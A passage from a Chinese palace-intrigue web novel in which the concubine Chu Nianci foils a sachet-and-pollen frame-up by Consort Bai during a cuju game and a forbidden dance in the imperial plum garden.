抬脚,抽射!
皮鞠如流星般直蹿入网。
场边侍立的几名内监与观众棚的人全忍不住高声喝彩。
端木清羽随手抹了下额角,喘着气笑起来,他那笑意映着冬阳,只有少年的恣意畅快,神采奕奕的白皙脸上印着夕阳的金光,整个人脸庞像镀上了一层金边闪闪发光。
楚念辞对着那尽情奔跑的金色身影默默垂涎片刻,抬头一看,沈澜冰站在身旁,已经玉化成了一座雕像。
就听一阵欢呼响起。
少年旋身捞回球,抹了把汗道:“陛下球技出神入化,臣是越发跟不上了。”
端木清羽朝他一扬下颌,笑意未褪:“白卿何必谦虚,你的脚法也精进不少。”
少年抱拳,朗声笑道:“是陛下让着臣!”
说笑间,端木清羽目光不经意扫向场边,正对上楚念辞望来的视线,他眼中笑意未收,只微微颔首,便转身再度投入了争抢。
楚念辞静静地望着那道奔跑的身影,心想:原来陛下也有这般毫无算计、只是纵情奔跑的时刻。或许这肆意飞扬的模样,也许才是他本性。
那青衣少年见皇帝走神,顺着他的视线,也瞧见了楚念辞与沈澜冰。
见她们身着整齐繁复的宫装,下系浅紫百褶裙,只是场中众人皆穿利落骑服,唯她二人衣衫庄重,不由长眉一扬,桃花眼中掠过一丝促狭。
他脚尖一踩鞠球,忽然回身望来,盯着她们看了几秒,嘴角一挑,猛地将球朝这边踢来……
“嘭”一声,皮鞠直飞而来。
沈澜冰微微一愣,楚念辞却神色未变。
她在扬州时便是蹴鞠好手,常陪着舅舅们踢球玩耍。
当下抬脚一迎,稳稳接住来球,旋即利落旋身,“啪”地将球踢了回去。
这漂亮的旋身,浅紫裙摆翩然扬起,宛如乍开的芙蕖一般。
少年本想小小捉弄一下,没料到球被稳稳踢回,怔了怔,又不服气地再度踢来。
楚念辞顺势接住,连颠几下,球在她脚背轻巧起落,始终未坠。
两人隔空对视片刻,气氛微凝。
少年眼中渐渐升起惊艳之色。
此时他才注意到她穿的是常在品级的宫装,才知她是陛下嫔妃……如此姿容,竟还有这般球技,想必颇得圣心。
周围侍卫见是宫妃,纷纷低头退开几步,转过身去。
这时端木清羽也停下动作,一边接过敬喜递来的棉巾拭汗,一边望向楚念辞,随即绽开一个明灿的笑容。
这一笑,惹得场边众宫女都悄悄望了过来。
沈澜冰白皙的脸颊微微一红,粉光秀腻地低下头去。
楚念辞隔着袖子轻轻碰了碰她的手,拽着她一同向端木清羽行了个蹲身礼。
大夏民风开化,宫中日常并不拘泥死板规矩,她才敢带沈澜冰来这儿散心。
只是没料到会在此遇见外男。
“慧常在球技不错,”端木清羽并未在意,笑着让她们起身,夸奖道,“没料到你还是个中好手。”
少年见状,立即向端木清羽躬身:“既有佳人前来探看,微臣先行告退。”
楚念辞起身时,侧目看向那少年……约莫十七八岁,锦衣玉带,长身玉立,眉目俊朗,特别是一双多情的桃花眸子,看人时显得深情款款,已是难得的好样貌,只可惜站在顶着祸国殃民的端木清羽旁边,与之相较,仍稍逊几分,若说这少年如精雕细琢的美玉,那皇帝已是浑然天成巧夺天工。
端木清羽此刻心情颇好,叫住他:“云琛,别走,你在旁稍候,待会儿再陪朕踢一场。”
楚念辞心中微微紧绷……云琛,这两个名字她前世听过。
太尉白战陵之孙,白嫔的嫡兄长,白云琛。
此时他出现在这里,对自己的计划不利。
到时,这人肯定会帮着白嫔,不过,她想到自己只是将淑妃的挖得深了一点,就算查下去,也许能查到淑妃。
心中不由慢慢定下来。
白云琛闻言一躬,退至一旁。
端木清羽随手理了理耳畔散发,风流毓秀对二位美人摆摆手。
楚念辞拉着沈斓冰站起,端木清羽走到近前,含笑问道:“何时来的?朕竟未察觉。”
楚念辞侧首一笑:“陛下英姿飒爽,臣妾看入神了。”
见他额上生汗,脸上还带着运动后的微红,又轻声提醒:“皇上风寒才好,还须顾惜身体。”
“整日批阅奏折,案牍劳形,难得半日清闲,慧儿今日虽然穿得素净,别有一番风韵,”端木清羽笑着摇摇头,转而看向沈澜冰,“斓贵人今日装扮很是雅致。”
沈澜冰面颊微红,温婉低头:“陛下取笑臣妾了。”
楚念辞举起帕子掩面轻笑:“每日有美人探访,怎还算案牍劳苦?该说是红袖添香才对。”
这时,一名宫女捧着披风与一只香囊过来。楚念辞见机,抢先一步接过,佯装自然的要为端木清羽系在腰间。
她借着衣袖遮掩,将沈澜冰给的那只香囊混在其中,正要系上……
“这是你新做的?”端木清羽却已瞧见,目光落在她手中,“才几日,手艺倒见长了。”
楚念辞动作一顿,只得抬起脸,老实娇笑:“陛下圣明……这其实是斓贵人绣的,托臣妾转呈。”
端木清羽接过那香囊,细看了两眼:“绣工不错,斓儿,是你做的?”
“臣妾……臣妾闲时做的。”沈澜冰红着脸,说话有点口吃。
她许久不见端木清羽,心中虽有一肚子话,却不知如何说起。
既有点激动,又有点担心。
最终,楚念辞温软道:“陛下,斓贵人许久不见您,实在是思念。”
沈澜冰脸更红了。
端木清羽看楚念辞一眼,心想两人一定关系很好。
否则她也不会带她来,难道不知道这会让别人上位。
她究竟是大度,还是太过单纯。
端木清羽看看她灵动狡黠的眸子,认为她若单纯,自己便是看人走眼了。
这么想着,他随手将香囊拢入掌心,“只是朕身上佩是你前日送的,这个先收着,明日再戴吧。”
楚念辞故意凑近,轻轻一嗅,拉长语调道:“到底是妹妹的心意……闻着可真香。”
端木清羽未答,只瞥了瞥两只香囊,将手中那只也一并握住了。
一旁的白云琛见状,俊眉一挑,桃花眼一眯,拱手插话:“两美相伴,白日温情,夜晚添香,齐人之福,左右架住,陛下左拥右抱,微臣羡慕已极。”
这话说得有点露骨。
也有点唐突了。
楚念辞这过来人还不觉得什么。
沈澜冰顿时面红过耳,别过身,转身就要走。
楚念辞拽住她,一脸清澈向白云琛笑道,“这位大人一定享受齐人之福,倒是会打趣人。”
记得白战陵极为看重嫡子,白云琛快到二十才婚配,现在还未娶妻。
她这么说,就是让他难堪。
“这……臣尚未婚配。”白云琛窘迫地道。
端木清羽明眸一斜,哼笑道,“看来是朕太纵着你,那朕明日也赐你两个美人?”
白云琛吓得连忙告饶:“陛下别说赐两个,便是一个,臣也是无福消受,家中妻室未定,回家定被家父痛斥带坏陛下,太后知道了更要训话,这双美福分,微臣可万万不敢领受。”
端木清羽笑得风流毓秀地轻抚衣袍上的墨发:“训几句又何妨,便是左右开弓,来些耳刮子,你也得受着,毕竟齐人之福是朕赏的……”
“陛下,饶了为臣……”白云琛惊得就要撩袍跪下。
“清羽哥哥……”淑妃娇嗔着从一旁观众廊快步走来。
她纤秾合度的身段裹在一件亮得惊人的貂皮斗篷里,衣裙华美,一双杏眼微扬,妩媚中透着凌厉,目光淡淡扫过两人,神态倨傲。
她一眼便瞥见端木清羽手中那枚精致的香囊,方才的对话她早已听见大半,娇俏的脸上妒意顿生。
“哟,这香囊上的花绣得真精巧,斓贵人好手艺。”
沈斓冰忙行礼:“娘娘说笑了,臣妾只是闲暇时随意绣的,娘娘若不嫌弃,改日臣妾也为您绣一个。”
“本宫哪敢要你的东西?”淑妃嘴上推拒,眼中的醋意却几乎要溢出来,“陛下,这个送臣妾回去绞了做鞋面子……”
她那双长杏眼微微眯起,眸光幽冷。
这当众与她争宠的女人,实在令她生厌。
见淑妃醋得如此直白,端木清羽只微挑了挑眉看她,眉宇间带了不悦……淑妃顿时垂首,不敢与之对视,也不敢再信口开河了。
远处忽然飘来隐约的歌舞乐声,一缕羌笛音清脆扬起。
“似是胡旋舞曲。”端木清羽长眉微蹙,一拂袍角,举步朝乐声来处走去。
穿过长廊,眼前便是太液池。
湖面轻风微拂,水榭廊桥倒映如画,四周静谧,唯见池边蜡梅凌寒绽开,暗香悄然浮动。
走过一个长廊,太液池后面连着镜湖。
湖面微风轻拂,雪廊如虹,雅榭映冰。
池边蜡梅悄然绽放,暗香浮动。
正要往梅坞去,却听得一阵急鼓声自梅林深处传来,随后羌笛悠扬而起。
端木清羽穿着箭袖,故而楚念辞一眼看见他紧紧攥着拳头,强行压抑着怒气。
沈澜冰不由黛眉微蹙,纳罕道:“皇宫内苑,梅坞静地,何人如此大胆奏胡乐?”
别人不知道,她这两天读了陛下御诗,中间有一句:“君埋泉下泥销骨,弟寄人间雪满头。”之句。
这梅坞中必定藏着陛下想要悼念之人,她们怎可如此大胆?
楚念辞心中只暗暗惊喜,循声望去,只见一截鲜红衣带在风中如火焰般飘展开来。
梅坞临水的高轩下,只见白嫔一身红胡服、踏着小蛮靴,正被几名宫女围在中央。
一名梳着高髻的大宫女,亲自击打着胡鼓,鼓点愈急,中间那袭红衣便旋得愈快。
只见白嫔张臂回腰,裙摆飞扬,整个人如一团燃烧的红焰,随着鼓声越转越疾,脚尖仿佛不沾地,只在原地绽开一片绚烂的光影。
笛声清越相伴,衣袂翩跹间,竟似要将这满园静雪都卷进那热烈的旋转之中。
众人定睛一看……竟是白嫔带着宫女在此跳舞。
“大胆……”淑妃明眸眯起,忽然喝道。
第46章 白嫔降位,雁容受冰刑。
沈澜冰刚刚听见淑妃说绞了的香囊,做鞋面子。
气得美目一沉,咬紧嘴唇,楚念辞轻轻拉住她,摇了摇头。
眼下不是与淑妃正面对峙的时候……对方位分高,此时硬碰只会吃亏。
正好听见了笛声,便随众人一起走向梅坞。
等走到梅坞看见白嫔正在跳舞,她悄悄看向端木清羽,只见皇帝猛然握紧双拳,眼神骤然冷若寒冰。
那张耀眼美玉的面容此刻仿佛凝霜冻雪,浑身散发出一股凛冽肃杀气息。
他脸色陡变,转眼时间就那个艳阳下如琢如磨的俊美少年,立时变成眼尾锋利,弧度冷冽得能让人觉着刀剑刺得骨肉分离。
一双冰魄寒眸,让人觉白嫔己盯出一个窟窿。
淑妃也气得脸色发青。
缓步走到白嫔面前,俯视着矮她半头的少女,眸色如冰:“谁准你在此跳这等胡舞?”
她明明放风出去,准备捉皇后这虎,结果却只捉这个狐媚子。
这梅坞是自己与清羽哥哥相遇之地。
她竟敢在此跳舞。
白嫔早已吓得目瞪口呆,石化成了一座石像,连行礼都忘了……
……不是说这里是陛下与梦中仙女初遇之地吗?
陛下为何会如此震怒?
“大胆!见了陛下还不行礼,竟敢视而不见,你仗了谁的势?”淑妃尖锐的嗓音陡然响起,将白嫔的神思猛地拉回。
白嫔这才回过神。
慌忙扑通跪倒,眼中珠泪层层叠起,脸上露出娇弱无辜的冤枉之色:“臣妾……臣妾只是听闻陛下喜爱胡旋舞,特在此排练,想在除夕宴上献舞……”
胡旋舞本就束身,她用衣袖拭泪时,无意衣襟微散,露出一片脖颈之上雪白肌肤。
淑妃见状更是火冒三丈,这贱人竟敢当众行勾引之事!
“荒唐,这是祭祀先皇后之处,绿翘!”淑妃厉声道,“把这不知廉耻的拖下去,必须重重惩处!”
绿翘带着几名宫女应声上前,将白嫔团团围住。
一旁的白云琛顿时脸色难看起来。
他虽不知梅坞内究竟有什么禁忌,但能令端木清羽如此动怒,必不是简单之事。
看着跪地颤抖的庶妹,身为白家人他怎么能不管呢?
暗叹一声,白云琛终究上前撩袍跪下:“陛下,梅坞素为赏花游玩之所,臣妹进攻时日尚浅,实在不知是祭祀先皇后之所,俗话说不知不怪,念她一时糊涂,求陛下从轻发落。”
端木清羽明眸微沉。
楚念辞忙上前启禀:“臣妾进宫时,听宫中禁令,先帝曾在此祭奠北征将士英灵,何时成了游玩之所?”
白云琛心头一凛。
他思绪骤然被拉回十年前。
那时陛下刚收复京畿,在雁门关与蛮族,血战七昼七夜,伤亡惨重,方在宫内设坛祭奠将士亡灵,就是这梅坞。
若非刻意回想,这段往事早已尘封。
他这才意识到,妹妹闯下了多大的祸。
可终究不能眼睁睁看她受罚,他再度叩首:“陛下,臣等糊涂,确实在家中未向妹妹言及此事,她确实不知,臣愿以官职作保,求陛下宽恕。”
楚念辞却冷笑道:“上回白嫔娘娘诬陷旁人,也说‘不知’,如今又是这般说辞,究竟是真无知,还是仗着年纪小屡屡搪塞?”
端木清羽听罢,语气转冷:“不错,白嫔先前已被罚幽闭,是皇后向太后求情才提早放出,她不思悔改,反而再犯,莫非在你们白家眼里,太尉府的权势,竟比宫规还大?”
这番话刺得白云琛俊脸涨红,羞愤难当。
他少年心性,何曾受过这般当众嘲讽,只好低头不再言语。
“听见了,白嫔?”淑妃轻笑,垂眸拨弄着指上那枚翠玉戒指,“你玷污圣地,该当何罪。”
雁容听她如此说,突地低声插了一句嘴:“娘娘,小主只是舞蹈,你怎么能说她玷污……”
话音未落,淑妃身边的绿翘已一步上前,“啪”的一掌狠狠掴在雁容脸上。
“什么你呀我呀,竟敢对娘娘不用敬语!”
雁容猝不及防,被打得眼前发黑。
她是白嫔身边一品宫女,品阶比绿翘低一级,受此侮辱也不敢反驳。
只羞辱地捂着脸,低着头,再也不敢出声。
众人也低着脑袋,大气也不敢出。
“清羽哥哥,”淑妃向端木清羽娇笑道,“这件事您让臣妾处置,若处置得好,说不得以后还能帮上皇后,若是不妥,也好让臣妾学一学。”
端木清羽淡淡笑着点了点头,敬喜已端过一把圈椅,他一甩袍袖坐下。
楚念辞微微诧异。
本以为他会亲自处罚白嫔,没想到将处罚的权力交给了淑妃。
忽然她明白了。
他不会亲手处置太尉府,以挑起太尉对他不满。
倒是交给淑妃,两相厮杀,更符合他的心。
如此看来,他如此骄纵任由淑妃蛮横,不过是利用她的跋扈,作为一把好用的刀而已。
不过,这也只是她想到的一个方面,至于其他什么原因,她就想不到了,小洁癖怪不得仅用三年就坐稳了龙椅。
帝王之心,深不可测。
淑妃看了一眼地上,旁边的小宫女立刻会意,赶紧把地上的羌笛递了过去。
淑妃接过羌笛,坐在侍女们端来的椅子上,那双美艳的杏眼里透着股子冷意,轻蔑地扫了众人一圈,目光定格在白嫔身上那胡服上,眼神里满是鄙夷,就这身打扮,还不是为了勾引陛下,上不得台面的玩意儿!
“你自己说,按照宫规该怎么处置?”淑妃鄙夷道。
白嫔吓得腿都软了,扑通一声跪倒在地,声音都在发抖:“淑妃娘娘,臣妾真不知道这梅坞是祭祀之所……”
楚念辞笑道:“淑妃娘娘,白嫔娘娘是否学过宫规,正如白侍郎所言,不知者不怪。”
所有宫嫔入宫后在储秀宫跟岚姑姑学过宫规。
而且是当众学的,不怕她不承认。
淑妃眼皮都没抬,嘴角却勾起一抹“温柔”的笑:“你进宫的时候,没人教你宫规吗?”
白嫔闻言一愣。
在储秀宫时曾听岚姑姑当众传谕,这里是清静之地,不可以冒犯。
但当时认为这些事,没什么要紧,她真的没仔细听。
她不由后悔,当初学宫规的时候,不该左耳朵进右耳朵出。
“有……有教过……”白嫔瘫软在地,“臣妾没记清!”
“那可就没办法了,”淑妃叹了口气,摆摆手,仿佛教训一个宫嫔是多么辛苦的事。
瞥了一眼地上抖成一团的白嫔,刚想开口让人拖下去杖责。
白云琛似乎看出她的想法,忙上前一步沉声道:“娘娘,小妹行事荒唐,但请看着你我祖父同为顾命之臣的份上,饶了小妹。”
那意思别逼人太甚。
淑妃微微蹙眉。
她可以不给他们兄妹面子,却不能不给太尉面子。
思索片刻,冷笑道:“既然白侍郎为你求情,便饶皮肉之苦。”
白嫔也不敢辩解,只流着泪反复叩首说“冤枉”。
淑妃声音又冷又媚:“白嫔是太尉之孙女,杖箦之刑免去,明日禀告过皇后,褫夺你的嫔位,降为贵人,幽居永寿宫。”
白嫔彻底瘫软了,要褫夺嫔位。
若是没有了这个嫔位,自己将彻底沦为家族的弃子。
淑妃又看向瑟瑟发抖的雁容。
“好好的主子,都被你们这些宫女带坏,实在更加可恶,”这妩媚的声音让人不寒而栗,“绿翘,这挑唆主子,该怎么罚才好呢?”
绿翘一脸嫌弃地回道:“玷污圣地之足,必须用冰洁净祛垢!”
淑妃嫣然一笑,接受她的建议:“哦?那就把雁容的鞋袜都脱了,让她去冰面上,去去污秽之气!”
雁容一听,吓得花容失色,匍匐在地上尖叫:“淑妃娘娘饶命啊!”
这可是三九寒天,冰冻三尺啊!
人要在冰面上光着脚跳舞,这双脚还要不要了?
绿翘立刻对旁边的几个太监挥挥手,几个太监上前架起雁容拖了下去。
众人面色惨白。
只听斓贵人吓得双手发颤低声问道:“如此双足岂不成了废了……”
楚念辞紧紧握着她的手,叹口气。
冰儿还是心太软。
于是低声在她耳边道,“不用心疼她,不过让她受点皮肉之苦……”
几名粗壮的宫女上前拖雁容行刑,四周死一般寂静。
白嫔也不管雁容,只满脸泪水地祈求白云堔:“哥,救救我,我不能失去嫔位!”
白云琛俊脸煞白,桃花眼竖着像一把拖曳刀剑,愤怒地盯着淑妃,没有再开口求饶。
白嫔眼中逐渐出现出破釜沉舟的厉色。
如果再不出手,自己削夺嫔位,就什么都完了,她尖叫一声,抬手捂着自己的脸蛋,顷刻之间,呼吸急促,半张脸泛起诡异的黑色……
“啊~”她疼得忽发出一声惨绝的叫声……
第47章 令白嫔崩溃的毁容
楚念辞正站在她附近,抬头一看,心中一惊,而身边团圆忍不住尖叫一声:“啊……鬼呀!”
一下躲到了她身后。
白嫔正奇怪她俩大惊小怪。
却见雁秋瞪大眼望着她,神情惊骇。
而淑妃已捂着鼻子转过头去。
“你大惊小怪什么!”白嫔边咳边斥,却在雁秋颤巍巍递来的小镜中,看到了自己半边脸,不仅布满红疹,皮肤竟已发黑溃烂!
“我的脸……怎么会这样?”她自己也失声尖叫起来。
这根本不是花粉过敏!
她亲眼见过嘉妃中毒后相似的模样……可那分明是她自己曾用过的毒。
花粉是雁秋准备的,这丫鬟从小跟着她,从未出过差错。
冷汗瞬间浸透后背。
白嫔浑身发冷,一个可怕的念头浮了上来:有人调换了花粉,而且极有可能身边最信任的人,恐怕早已不是自己人,这事到底是谁干的?
雁容还是雁秋,只是不管是谁,现在不是追究这个的时候,后宫的妃嫔若是脸毁了,这辈子的恩宠也就到头了!
白嫔捂着脸哀叫一声“淑妃娘娘……救我……”,便双眼一翻,软软晕倒在地上。
身旁的随侍几位宫女吓得惊叫,慌忙扑上去搀扶。
淑妃的脸色瞬间沉了下来。
她固然厌恶白嫔平日里那副故作天真的模样,但此刻更让她恼怒的是……竟有人敢当着自己的面耍这种手段?
“是谁?谁敢在本宫面前下毒!”她厉声喝道。
这话既是为了撇清自己,也是向众人表明,此事与她无关。
楚念辞悄悄看向端木清羽。
他站得比较远。
但他俊眉已如一把微微出鞘的刀,拖拽出一个冷厉的弧度,唇角已抿成一条冷硬的线。
却是瞪着白嫔。
连自己都瞧见了白嫔刚才偷偷抹花粉的小动作,以他的敏锐,不可能没看见这出偷偷做戏自戕。
但白嫔与俏答应不同,她背后是太尉府。
即便她真有过错,也该由宫规明正典刑,可若查不出原因,让人认为她是被人“戕害”的苦主,那事情就复杂了。
白云琛快步上前,扶住昏迷的白嫔,抬头恳切道:“陛下,淑妃娘娘,臣妹体质易敏,肯定有人身上有毒物,微臣恳请彻查此事,绝不能放过那居心叵测之人!”
言下之意,是有人蓄意陷害。
淑妃心思飞转。
她将来是要做皇后的人,若此刻沾上“谋害宫嫔”的嫌疑,日后如何服众?
于是她也肃容点头:“不错,必须查个水落石出。”
端木清羽凤眸微眯,冷光迫人:“来人,先传女医官,朕倒要瞧瞧,谁在朕的眼皮子底下兴风作浪!”
看似声色俱厉,但原来他只是想敷衍。
楚念辞想,通过前面的事情,他早已知道自己妹妹医术不佳。
一阵忙乱之中,楚舜卿匆匆赶到。
作为宫中唯一的女内医,凡涉及妃嫔贵体的诊视,照例都需她先经手。
不过几日不见,她竟瘦了一大圈,脸色青白,眼底乌青全靠厚厚的脂粉遮掩。
既要整夜侍候病重婆母、又要应付小姑的刁难,早已心力交瘁,幸好蔺郎对自己还有一份情谊,否则她真的要坚持不下去。
她一眼就看见了跪在人群中的楚念辞。
即便是在这般狼狈的情景下,那人依旧肌肤莹润,双颊透着健康的粉晕,宛如精心养护的娇花。
凭什么自己过得如此煎熬,楚念辞却在宫里活得这般滋润?
楚舜卿强压下心头的嫉恨与怨毒,上前为白嫔诊脉。
她记得清楚,前世差不多也是这个时候,白嫔“中毒”,后来查实只是花粉过敏,而那花粉正来自某宫妃的香囊。
她看看紧张地跪在一起楚念辞与沈澜冰,忽忆起楚念辞与她交好。
好姐姐,你不是和沈澜冰情同姐妹么?
今日,我就要让你们俩一同背上这谋害妃嫔的罪名!
她取出一根金针,刺入白嫔中穴。
白嫔悠悠转醒,楚舜卿立刻摆出凝重的神色,沉声道:“娘娘此乃中毒之象,应是触碰了某种能引发急症的致敏花粉,应该有人身上有此毒物。”
白嫔刚缓过一口气,听到诊断,不由看了她一眼。
这女医果然是个废物。
若只是花粉,我的脸怎会变成这样?
她比谁都清楚,自己备下的花粉只会引起咳喘,绝不可能毁容。
但这张脸毁了,家中随时可以送其他姊妹进来顶替她……那她这辈子就全完了!
恐惧与怨毒交织,心思电转之下,只有暂时将这件事归结在过敏身上。
将斓贵人先拉下马,再以同谋牵连上慧常在,说不定府里看在自己还有点用的份上,会派医师进来帮自己诊治。
想到这儿,白嫔顿时哀哀痛哭起来,挣扎着扑倒在端木清羽脚边:“陛下!陛下要为嫔妾做主啊!有人用这般恶毒的手段害嫔妾……嫔妾的脸毁了,往后还怎么活啊!”
端木清羽眉头紧锁,退后一步。
俊脸上出现隐隐的嫌弃恶心,本就不喜她屡屡算计,心机险恶,此刻她脸已经毁了,号哭起来更是丑陋,让他只想作呕。
然而看在太尉府的面子上,他用手背捂着鼻子,冷哼:“放心,有朕在此,绝不会让你蒙冤……”
说到一半,终是忍不住走到旁边干呕起来。
淑妃上前挽住他的手,轻轻拍着她的背部,可依然止不住他的胃部的翻涌。
楚念辞凑近他,伸手卡住了他修长的手腕的虎口上。
端木清羽:“……”
楚念辞忙解释道:“陛下,臣妾帮您止吐。”
接连几个穴位按摩下去,端木清羽才敛开眉头。
一旁的白嫔见状羞愤欲死,陛下看见自己都呕吐了。
完了,什么都完了。
别说侍寝,以后怕陛下连一眼都不愿看自己。
白嫔心中猛地升起鱼死网破的绝望,她跪倒在地,连连磕头,磕得额头鲜血淋漓:“求陛下、淑妃娘娘为臣妾做主,臣妾一贯对三角梅花粉过敏,请娘娘先查验在场各位贵人身上的香囊,看是否有人携带此物,”
一边叩头,一边朝雁秋示意,亮出最后的底牌。
淑妃心中满是不耐,在她看来,白嫔这等角色,脸毁了反倒清静。
但若不查出个“凶手”,她不仅无法向太尉府交代,自己“协理六宫”的能力也会遭人质疑。
她转动着手腕上的翡翠镶金镯子,冷声道:“既如此,便查一查,所有人,将身上的香囊、粉包都取出来!”
沈澜冰闻言,吓得手心里全是汗……她今早才送出的那个香囊里,确实掺有三角梅花粉,若不是念辞机警,早早将那香囊调换……她今日恐怕在劫难逃。
可是,此事如此隐秘,旁人如何得知?而且陛下那里的香囊也……这环环相扣的算计,分明是早有人挖好了坑,专等着她跳进来!
她脸色霎时惨白,身子止不住地微微发颤。
楚念辞在旁,暗暗用力握了握她的手,轻轻摇头,示意她稳住心神。
果然是这个局。
楚念辞捏了一把汗,暗自庆幸,自己知道三角梅花粉是某些人的过敏原,因此早有防备。
现在,她倒要看看,这出戏接下来要怎么唱。
淑妃身边的宫人上前,逐一收走了众人身上的香囊。
唯独沈澜冰,身上空空如也。
楚舜卿接过那些香囊,仔细翻查了一遍,回禀道:“启禀淑妃娘娘,这些香囊之中,均未发现三角梅花粉。"
说完,又加重语气补充一句。
"只是斓贵人身上并未佩戴香囊。”
淑妃疑惑的盯住沈澜冰。
刚刚想查问,却见一个小宫女慌慌张张地从远处的树丛后跑了出来。
大宫女绿翘眼尖,立刻厉声喝道:“什么人?淑妃娘娘在此,也敢乱闯!”
那宫女生得瘦小,扑通一声跪倒在地,浑身抖得像筛糠:“奴婢……奴婢是斓贵人宫里的……”
“春玉?”沈澜冰认出她,白着脸斥道,“你这副毛手毛脚的样子成何体统,谁让你过来的?”
“奴婢……奴婢……”春玉哆嗦着,话都说不利索。
沈澜冰只觉在众人面前丢尽了脸面,又急又气:“让你在殿中好好守着,谁准你跑到这里来的?如此举止失措,赶紧给我滚回去,再这样毛毛躁躁,便打发你去浣衣局!”
“浣衣局”三字,是宫中低等罪奴的去处,日夜劳作,苦不堪言。
春玉一听,仿佛被针刺了一般,猛地抬起头,脸上血色尽褪。
她忽然尖声道:“小主!奴婢替您干了那么多见不得光的事,没想到您竟如此狠心,想弃奴婢于死地,既然如此,奴婢又何须再为您遮掩!”
说完,她转向端木清羽与淑妃,连连磕头,带着哭腔喊道:“皇上、娘娘明鉴,事到如今,奴婢再不敢隐瞒,斓贵人……斓贵人她早知白嫔娘娘对三角梅花粉过敏,今日特意将花粉调入香囊之中,命奴婢伺机下手,那害人的香囊……已交给慧常在了……”
第48章 端木清羽相信楚念辞的医术
“大胆!”端木清羽双眼的弧度冷冽如刀锋,“你可知在朕面前,无凭无据,造谣污蔑是何罪行?”
春玉吓得瘫软于地。
是何罪行,不过一死而已,可想到自己的父母兄弟全在白府的手中……
春玉面无人色,半?才勉强撑着身子,磕了个头,咬咬牙颤声道:“奴婢愿承担任何罪名,奴婢是奉斓贵人之命,将三角梅装进香囊里的……可、可奴婢真的不知道那是要害白嫔娘娘啊!直到来了这儿,才发觉出了事……”
沈澜冰俏脸面白如纸,惊恐万状,几欲晕厥过去,纵使她敦柔有涵养,听了这么平白诬陷气得满脸臊红。
红缨连忙扶她,连声疾呼:“小主、小主……”
楚念辞心中不忿,好一个连环计,先是在香囊中放入三角梅,见沈澜冰身上没有香囊,又立即推出了第二步计划,果然是心机深沉,心思歹毒,白嫔不愧是太尉府出来的,果然留了后招。
她咬着樱唇没有马上出声,小不忍则乱大谋。
倒要看看,她们还有什么招数?
红缨已气得柳眉倒竖,楚念辞忙紧紧握住红缨衣袖,示意她千万不要冲动。
但她已忍不住,怒斥道:“小主平时待你不薄,你怎可胡言污蔑。”
春玉不停磕头,雪白的额头上已经青紫一片,脸上满是恐惧:“小主明鉴,就算给奴婢一百个胆子,奴婢也不敢谋害白嫔……您这样做,不怕遭天谴吗?”
红缨扬手就要掴她:“你收了别人多少银子,这样诬陷主子?”
“奴婢没有,奴婢真的不知道怎么回事……”春玉边哭边躲开,爬向淑妃,“今早小主去了慧常在那儿,把香囊送给慧常在……”
白嫔的哭声戛然而止,脸色骤然阴沉,哀泣道:“斓贵人,慧常在,本宫知道上次和宫觐见的时候有点误会,但我已经向你们道过歉,想不到你们如此狠毒,下毒害我?”
淑妃目光冷冷地投向楚念辞与沈澜冰。
楚念辞心思微定。
事已至此,真相基本明朗,白嫔已圈好套子,再不出手便会陷入被动。
楚念辞不再犹豫,故作紧张地抿了抿绯红的唇,那丰润的唇瓣便格外鲜艳:“陛下,淑妃娘娘,此事蹊跷,不能仅凭一人之言就定罪于两位嫔妃,除人证外,还须查实真凭实据。”
她转身又向哀哀欲绝的白嫔道:“正如娘娘所说,我们与您无冤无仇,为何要谋害您?”
沈澜冰也忙跪地道:“正是如此,请陛下、淑妃娘娘明鉴。”
淑妃目光扫过两人……一个娇艳如海棠,一个清雅似幽兰,心里不由泛起酸意。
这两人也并非安分之辈:一个总在陛下眼前晃悠,另一个也常往养心殿去。
她眼神微冷,刚想开口……
端木清羽似已看出她的想法,已一个眼刀飞来,淑妃只好垂首。
他并不急着让二人起身,目光审视而平静,这双眼笑如春晓花开,然而不笑的时候,这双眼的弧度犀利将人刺个对穿。
一点一滴,一时寂静无声,仿佛时间也凝滞了,楚念辞握紧沈澜冰的手,以防她晕倒,数息后,端木清羽挥手让两人起身,方平淡道:“慧常在言之有理,俗话说孤证不立,只有人证,确实无法服众。”
又转头看着春玉,他眼神冷冷逼视着,直到春玉浑身遏制不住地颤抖起来,才沉声道:“既然你敢牵涉到二位嫔妃,便不怕全家连坐,马上就派人搜宫,是非曲直,自有分晓。”
春玉唬得几欲厥过去,没想到陛下这么冷血无情。
会连坐她全家,但此时后悔改口已经来不及了。
她手指深深掐进肉里。
沈澜冰闻言,脸色一白,身子微微晃了晃。
搜宫对妃嫔而言是莫大的羞辱,几乎等于向所有人宣告,她脱不了干系。
楚念辞死死攥着她的手,以示她镇静。
然后楚念辞稳稳地说道:“妾身不是要阻拦搜宫,只是如今臣妾住在养心殿侧殿,若是搜宫……是要连陛下的宫室也一并搜吗?”
淑妃闻言一怔,妩媚的眉眼娇嗔地看着端木清羽,端木清羽闻言从腰间摘下香囊,递给楚舜卿道:“不必搜暖晴阁,香囊在朕这儿。”
说完,明眸斜了一眼楚舜卿。
楚舜卿肩膀一缩,现在已经知道害怕了。
这件事弄不好,是要连累全家的,她低着头,上前接过香囊,只略略看了,连忙双手捧回:“陛下,这香囊里没有三角梅花粉。”
白云琛桃花眼中尽是疑惑和不甘,忙道:“陛下养心殿自是搜不得,只搜斓贵人住处便可。”
沈澜冰双手一下子握紧了。
她的寝殿里还有一些三角梅的花瓣。
楚念辞立即感应到她的紧张,反驳道:“若只搜一人,只怕难以服众,显得处事不公,但若搜养心殿,只怕令朝野震动,令陛下声誉受损,淑妃娘娘以后如何统领后宫,妾身倒有个建议……方才听白嫔娘娘屡屡喊痛,妾身略懂医术,可否让妾身为白嫔娘娘重新诊脉,查清病因……”
楚念辞的话还没说完。
楚舜卿立刻变了脸色,尖声反驳:“陛下,臣妾是皇后娘娘亲封的女医,诊断绝无错处。”
楚念辞听了,只暗暗冷笑。
怪不得这庶妹前世被皇后当成弃子,怪不得……她话虽没说错,却忘了眼前坐着的是淑妃。
淑妃最忌讳的,就是旁人拿皇后来压她。
而且因为海货入膳的事,端木清羽也正怀疑着皇后。
果然,静了片刻,端木清脸色冷硬如铁,冷冷地吐出一句:“朕说过彻查,便是要一查到底,朕记得你,上回就是你误诊。”
“是呀,她害本宫吃了不少苦头,还亏慧常在救本宫,既然慧常在想诊脉,看看又如何,丑话说在前头……若查出又是你这废物误诊,便罚杖责十下,以儆效尤。”淑妃冷笑。
楚舜卿又被骂是废物,脸涨得通红,张了张嘴,终究没敢反驳。
“慧儿,朕相信你的医术和人品,既如此,你便去查查。”端木清羽道。
